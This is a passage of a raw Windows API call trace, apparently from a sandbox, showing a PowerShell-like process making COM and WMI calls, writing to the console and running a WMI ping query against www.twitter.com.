Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0159.161] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0159.161] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0159.161] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85270, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0159.161] WbemStatusCodeText:IUnknown:Release (This=0x5f85270) returned 0x2 [0159.161] WbemStatusCodeText:IUnknown:Release (This=0x5f85270) returned 0x1 [0159.161] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0159.161] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0159.161] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5f85270, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5f85270) returned 0x0 [0159.161] WbemStatusCodeText:IUnknown:AddRef (This=0x5f85270) returned 0x3 [0159.161] WbemStatusCodeText:IUnknown:Release (This=0x5f85270) returned 0x2 [0159.161] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5f85270, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0159.161] SysStringByteLen (bstr="Not found ") returned 0x14 [0159.164] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdec2c | out: lpConsoleScreenBufferInfo=0x5bdec2c) returned 1 [0159.166] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bde310, nSize=0x80 | out: lpBuffer="") returned 0x0 [0159.166] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdec24 | out: lpMode=0x5bdec24) returned 1 [0159.167] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259ba10*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdec18, lpReserved=0x0 | out: lpBuffer=0x259ba10*, lpNumberOfCharsWritten=0x5bdec18*=0x2) returned 1 [0159.167] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdebc8 | out: lpConsoleScreenBufferInfo=0x5bdebc8) returned 1 [0159.172] GetConsoleOutputCP () returned 0x1b5 [0159.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea2c) returned 0 [0159.173] GetConsoleOutputCP () returned 0x1b5 [0159.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeab4) returned 0 [0159.173] GetConsoleOutputCP () returned 0x1b5 [0159.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.173] GetConsoleOutputCP () returned 0x1b5 [0159.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.173] GetConsoleOutputCP () returned 0x1b5 [0159.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea2c) returned 0 [0159.173] GetConsoleOutputCP () returned 0x1b5 [0159.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeab4) returned 0 [0159.173] GetConsoleOutputCP () returned 0x1b5 [0159.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.174] GetConsoleOutputCP () returned 0x1b5 [0159.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.174] GetConsoleOutputCP () returned 0x1b5 [0159.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea2c) returned 0 [0159.174] GetConsoleOutputCP () returned 0x1b5 [0159.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeab4) returned 0 [0159.174] GetConsoleOutputCP () returned 0x1b5 [0159.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.174] GetConsoleOutputCP () returned 0x1b5 [0159.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.174] GetConsoleOutputCP () returned 0x1b5 [0159.175] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea2c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea2c) returned 0 [0159.175] GetConsoleOutputCP () returned 0x1b5 [0159.175] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeab4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeab4) returned 0 [0159.175] GetConsoleOutputCP () returned 0x1b5 [0159.175] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.175] GetConsoleOutputCP () returned 0x1b5 [0159.175] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdea90, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdea90) returned 0 [0159.175] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdeb7c | out: lpConsoleScreenBufferInfo=0x5bdeb7c) returned 1 [0159.175] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeb74 | out: lpMode=0x5bdeb74) returned 1 [0159.176] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259c790*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5bdeb68, lpReserved=0x0 | out: lpBuffer=0x259c790*, lpNumberOfCharsWritten=0x5bdeb68*=0x4f) returned 1 [0159.177] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeb74 | out: lpMode=0x5bdeb74) returned 1 [0159.177] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259ba10*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdeb68, lpReserved=0x0 | out: lpBuffer=0x259ba10*, lpNumberOfCharsWritten=0x5bdeb68*=0x2) returned 1 [0159.178] GetConsoleOutputCP () returned 0x1b5 [0159.178] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb50) returned 0 [0159.178] GetConsoleOutputCP () returned 0x1b5 [0159.178] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb50) returned 0 [0159.178] GetConsoleOutputCP () returned 0x1b5 [0159.178] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb50) returned 0 [0159.178] GetConsoleOutputCP () returned 0x1b5 [0159.178] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb50, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb50) returned 0 [0159.178] GetConsoleOutputCP () returned 0x1b5 [0159.179] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.179] GetConsoleOutputCP () returned 0x1b5 [0159.179] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.179] GetConsoleOutputCP () returned 0x1b5 [0159.179] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.179] GetConsoleOutputCP () returned 0x1b5 [0159.179] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.179] GetConsoleOutputCP () returned 0x1b5 [0159.179] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.179] GetConsoleOutputCP () returned 0x1b5 [0159.180] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.180] GetConsoleOutputCP () returned 0x1b5 [0159.180] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.180] GetConsoleOutputCP () returned 0x1b5 [0159.180] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeae0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeae0) returned 0 [0159.180] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdeb7c | out: lpConsoleScreenBufferInfo=0x5bdeb7c) returned 1 [0159.180] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeb74 | out: lpMode=0x5bdeb74) returned 1 [0159.181] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259cc34*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5bdeb68, lpReserved=0x0 | out: lpBuffer=0x259cc34*, lpNumberOfCharsWritten=0x5bdeb68*=0x4f) returned 1 [0159.181] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeb74 | out: lpMode=0x5bdeb74) returned 1 [0159.181] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259ba10*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdeb68, lpReserved=0x0 | out: lpBuffer=0x259ba10*, lpNumberOfCharsWritten=0x5bdeb68*=0x2) returned 1 [0159.182] GetConsoleOutputCP () returned 0x1b5 [0159.182] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.182] GetConsoleOutputCP () returned 0x1b5 [0159.182] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.182] GetConsoleOutputCP () returned 0x1b5 [0159.182] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.182] GetConsoleOutputCP () returned 0x1b5 [0159.182] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.182] GetConsoleOutputCP () returned 0x1b5 [0159.183] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.183] GetConsoleOutputCP () returned 0x1b5 [0159.183] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.183] GetConsoleOutputCP () returned 0x1b5 [0159.183] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.183] GetConsoleOutputCP () returned 0x1b5 [0159.183] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0159.183] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdebb0 | out: lpConsoleScreenBufferInfo=0x5bdebb0) returned 1 [0159.183] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0159.184] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259d068*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x259d068*, lpNumberOfCharsWritten=0x5bdeb9c*=0x4f) returned 1 [0159.184] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0159.184] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x259ba10*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x259ba10*, lpNumberOfCharsWritten=0x5bdeb9c*=0x2) returned 1 [0159.185] CoGetContextToken (in: pToken=0x5bdedac | out: pToken=0x5bdedac) returned 0x0 [0159.185] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef64 | out: ppEnum=0x5bdef64*=0x5954d8) returned 0x0 [0159.186] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x5954dc) returned 0x0 [0159.187] IClientSecurity:QueryBlanket (in: This=0x5954dc, pProxy=0x5954d8, pAuthnSvc=0x5bdee70, pAuthzSvc=0x5bdee6c, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68, pImpLevel=0x5bdee58, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60 | out: pAuthnSvc=0x5bdee70*=0xa, pAuthzSvc=0x5bdee6c*=0x0, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68*=0x6, pImpLevel=0x5bdee58*=0x2, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60*=0x1) returned 0x0 [0159.187] IUnknown:Release (This=0x5954dc) returned 0x1 [0159.187] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee14 | out: ppvObject=0x5bdee14*=0x5c169c) returned 0x0 [0159.187] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee00 | out: ppvObject=0x5bdee00*=0x5954dc) returned 0x0 [0159.187] IClientSecurity:SetBlanket (This=0x5954dc, pProxy=0x5954d8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0159.191] IUnknown:Release (This=0x5954dc) returned 0x2 [0159.191] WbemLocator:IUnknown:Release (This=0x5c169c) returned 0x1 [0159.191] CoTaskMemFree (pv=0x5f8ae70) [0159.191] IUnknown:AddRef (This=0x5954d8) returned 0x2 [0159.191] CoGetContextToken (in: pToken=0x5bde330 | out: pToken=0x5bde330) returned 0x0 [0159.191] CoGetContextToken (in: pToken=0x5bde744 | out: pToken=0x5bde744) returned 0x0 [0159.191] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6dc | out: ppvObject=0x5bde6dc*=0x5c1684) returned 0x0 [0159.192] WbemLocator:IRpcOptions:Query (in: This=0x5c1684, pPrx=0x5f68400, dwProperty=2, pdwValue=0x5bde7d0 | out: pdwValue=0x5bde7d0) returned 0x80004002 [0159.192] WbemLocator:IUnknown:Release (This=0x5c1684) returned 0x2 [0159.192] CoGetContextToken (in: pToken=0x5bded14 | out: pToken=0x5bded14) returned 0x0 [0159.192] CoGetContextToken (in: pToken=0x5bdec74 | out: pToken=0x5bdec74) returned 0x0 [0159.192] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x5bded44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec10 | out: ppvObject=0x5bdec10*=0x5954d8) returned 0x0 [0159.192] IUnknown:Release (This=0x5954d8) returned 0x2 [0159.192] SysStringLen (param_1=0x0) returned 0x0 [0159.192] IEnumWbemClassObject:Reset (This=0x5954d8) returned 0x0 [0159.194] CoTaskMemAlloc (cb=0x4) returned 0x5f852a0 [0159.194] IEnumWbemClassObject:Next (in: This=0x5954d8, lTimeout=-1, uCount=0x1, apObjects=0x5f852a0, puReturned=0x259d1b4 | out: apObjects=0x5f852a0*=0x5fc3b10, puReturned=0x259d1b4*=0x1) returned 0x0 [0159.197] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5bc | out: ppvObject=0x5bde5bc*=0x5fc3b10) returned 0x0 [0159.197] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde570 | out: ppvObject=0x5bde570*=0x0) returned 0x80004002 [0159.197] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde398 | out: ppvObject=0x5bde398*=0x0) returned 0x80004002 [0159.198] IUnknown:AddRef (This=0x5fc3b10) returned 0x3 [0159.198] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddecc | out: ppvObject=0x5bddecc*=0x0) returned 0x80004002 [0159.198] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde7c | out: ppvObject=0x5bdde7c*=0x0) returned 0x80004002 [0159.198] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde88 | out: ppvObject=0x5bdde88*=0x5fc3b14) returned 0x0 [0159.198] IMarshal:GetUnmarshalClass (in: This=0x5fc3b14, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bdde90 | out: pCid=0x5bdde90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0159.198] IUnknown:Release (This=0x5fc3b14) returned 0x3 [0159.198] CoGetContextToken (in: pToken=0x5bddee8 | out: pToken=0x5bddee8) returned 0x0 [0159.198] CoGetContextToken (in: pToken=0x5bde2fc | out: pToken=0x5bde2fc) returned 0x0 [0159.198] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde37c | out: ppvObject=0x5bde37c*=0x0) returned 0x80004002 [0159.198] IUnknown:Release (This=0x5fc3b10) returned 0x2 [0159.198] CoGetContextToken (in: pToken=0x5bde8e4 | out: pToken=0x5bde8e4) returned 0x0 [0159.198] CoGetContextToken (in: pToken=0x5bde844 | out: pToken=0x5bde844) returned 0x0 [0159.198] IUnknown:QueryInterface (in: This=0x5fc3b10, riid=0x5bde914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde910 | out: ppvObject=0x5bde910*=0x5fc3b10) returned 0x0 [0159.198] IUnknown:AddRef (This=0x5fc3b10) returned 0x4 [0159.198] IUnknown:Release (This=0x5fc3b10) returned 0x3 [0159.198] IUnknown:Release (This=0x5fc3b10) returned 0x2 [0159.198] CoTaskMemFree (pv=0x5f852a0) [0159.199] CoGetContextToken (in: pToken=0x5bdec54 | out: pToken=0x5bdec54) returned 0x0 [0159.199] IUnknown:AddRef (This=0x5fc3b10) returned 0x3 [0159.199] CoTaskMemAlloc (cb=0x4) returned 0x5f852a0 [0159.199] IEnumWbemClassObject:Next (in: This=0x5954d8, lTimeout=-1, uCount=0x1, apObjects=0x5f852a0, puReturned=0x259d1b4 | out: apObjects=0x5f852a0*=0x0, puReturned=0x259d1b4*=0x0) returned 0x1 [0159.201] CoTaskMemFree (pv=0x5f852a0) [0160.202] CoTaskMemAlloc (cb=0x4) returned 0x5f85060 [0160.202] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5f85060, puReturned=0x21bbf98 | out: apObjects=0x5f85060*=0x0, puReturned=0x21bbf98*=0x0) returned 0x1 [0160.204] CoTaskMemFree (pv=0x5f85060) [0160.205] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0160.205] IUnknown:Release (This=0x595988) returned 0x1 [0160.206] IUnknown:Release (This=0x595988) returned 0x0 [0160.207] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0160.207] IUnknown:Release (This=0x5958c0) returned 0x1 [0160.208] IUnknown:Release (This=0x5958c0) returned 0x0 [0160.209] CoGetContextToken (in: pToken=0x5bdec84 | out: pToken=0x5bdec84) returned 0x0 [0160.209] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0160.209] CoGetContextToken (in: pToken=0x5bdebe4 | out: pToken=0x5bdebe4) returned 0x0 [0160.210] CoUnmarshalInterface (in: pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bdebd8 | out: ppv=0x5bdebd8*=0x5c12dc) returned 0x0 [0160.210] CoMarshalInterface (pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5c12dc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0160.211] WbemLocator:IUnknown:QueryInterface (in: This=0x5c12dc, riid=0x5bdecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5bdecb0 | out: ppvObject=0x5bdecb0*=0x5f76f30) returned 0x0 [0160.211] WbemLocator:IUnknown:Release (This=0x5c12dc) returned 0x1 [0160.211] IWbemServices:ExecQuery (in: This=0x5f76f30, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.twitter.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x5bdef1c | out: ppEnum=0x5bdef1c*=0x5958c0) returned 0x0 [0160.224] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdece8 | out: ppvObject=0x5bdece8*=0x5958c4) returned 0x0 [0160.224] IClientSecurity:QueryBlanket (in: This=0x5958c4, pProxy=0x5958c0, pAuthnSvc=0x5bded38, pAuthzSvc=0x5bded34, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30, pImpLevel=0x5bded20, pAuthInfo=0x5bded24, pCapabilites=0x5bded28 | out: pAuthnSvc=0x5bded38*=0xa, pAuthzSvc=0x5bded34*=0x0, pServerPrincName=0x5bded2c, pAuthnLevel=0x5bded30*=0x6, pImpLevel=0x5bded20*=0x2, pAuthInfo=0x5bded24, pCapabilites=0x5bded28*=0x1) returned 0x0 [0160.224] IUnknown:Release (This=0x5958c4) returned 0x1 [0160.224] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecdc | out: ppvObject=0x5bdecdc*=0x5c13cc) returned 0x0 [0160.225] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdecc8 | out: ppvObject=0x5bdecc8*=0x5958c4) returned 0x0 [0160.225] IClientSecurity:SetBlanket (This=0x5958c4, pProxy=0x5958c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.246] IUnknown:Release (This=0x5958c4) returned 0x2 [0160.247] WbemLocator:IUnknown:Release (This=0x5c13cc) returned 0x1 [0160.247] CoTaskMemFree (pv=0x5f6dc28) [0160.247] IUnknown:AddRef (This=0x5958c0) returned 0x2 [0160.247] CoGetContextToken (in: pToken=0x5bde208 | out: pToken=0x5bde208) returned 0x0 [0160.248] CoGetContextToken (in: pToken=0x5bde61c | out: pToken=0x5bde61c) returned 0x0 [0160.248] IUnknown:QueryInterface (in: This=0x5958c0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5b4 | out: ppvObject=0x5bde5b4*=0x5c13b4) returned 0x0 [0160.248] WbemLocator:IRpcOptions:Query (in: This=0x5c13b4, pPrx=0x5f71848, dwProperty=2, pdwValue=0x5bde6a8 | out: pdwValue=0x5bde6a8) returned 0x80004002 [0160.248] WbemLocator:IUnknown:Release (This=0x5c13b4) returned 0x2 [0160.248] CoGetContextToken (in: 